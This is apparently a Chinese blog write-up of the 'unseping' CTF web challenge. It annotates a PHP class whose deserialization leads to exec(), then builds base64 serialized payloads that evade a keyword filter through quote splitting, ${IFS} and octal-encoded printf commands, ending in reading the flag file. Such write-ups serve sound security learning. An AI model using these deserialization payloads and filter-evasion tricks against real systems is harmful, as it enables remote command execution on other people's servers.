unseping
攻防世界web新手练习 -unseping_攻防世界web新手题unseping-CSDN博客
这道题对我来说还是有点难,什么oct绕过命令执行第一次遇到捏,所以基本是跟着别人的wp写的,一点点记录吧
先对源码进行分析
<?php
highlight_file(__FILE__);
//定义了一个ease类
class ease{
private $method;
private $args;
//php魔术方法,构造函数,在创建对象的时候进行初始化对象,即为对象成员变量赋初始值
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
//析构函数,在对象结束的时候触发此函数
//array()创建了一个数组,看method参数是否为ping
//call_user_func_array:把第一个参数作为回调参数(callback)来使用,把参数数组作(param_arr)为回调函数的的参数传入;
//比如call_user_func_array("ping","127.0.0.1") 执行命令 ping 127.0.0.1
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
//执行ip这个参数
function ping($ip){
exec($ip, $result);
var_dump($result);
}
//过滤函数,过滤了一些特殊符号和关键字
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//在执行unserialize()时,会先调用这个函数
//遍历传入的数组
//将其出传入的数组放在waf函数中进行过滤
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
好啦,差不多分析完了
可以先写个php脚本
- 第一个参数为ping
- 第二个参数为执行的命令
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array("ifconfig"));
$b = serialize($a);
echo"<br>";
echo base64_encode($b)
?>
得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0
可以发现该命令能成功执行
但是因为有限制,所以接下来我们要思考怎么绕过命令,然后执行
我们需要的命令是ping ls
但是ls
有过滤,所以可以用空环境变量来进行绕过
'
"
${Z}
这里可以使用双引号来进行绕过
<?php
class ease
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b=serialize($a);
echo'<br>';
echo base64_encode($b);
?>
得到:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ
发现有个flag_1s_here
,注意这是个目录而不是单个文件,所以用ls来获取
cat命令用于查看文件内容,也可以查看单个文件、合并文件和创建文件
ls命令用于列出文件和子目录,可以显示当前目录下的文件和子目录
命令为l""s${IFS}f""lag_1s_here
记得改绕过的地方要绕过
题目中还有空格绕过和flag绕过
发现有个flag_831b69012c67b35f.php
此时我们需要执行的命令为cat flag_1s_here/flag_831b69012c67b35f.php
要将/
绕过
oct绕过命令执行
$(printf "\154\163")`,所以编写成`$(printf "cat flag_1s_here/flag_831b69012c67b35f.php")
编写脚本对命令进行ascii码然后八进制转换
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
#对字符先转换为ASCII码,再转换为八进制
lett = oct(ord(i))
#这个主要是为了将八进制前面的0o替换掉
lett=str(lett).replace("0o","")
arr.append(lett)
sym = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)
得到
143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
<?php
class ease
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b=serialize($a);
echo'<br>';
echo base64_encode($b);
?>
payload为:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319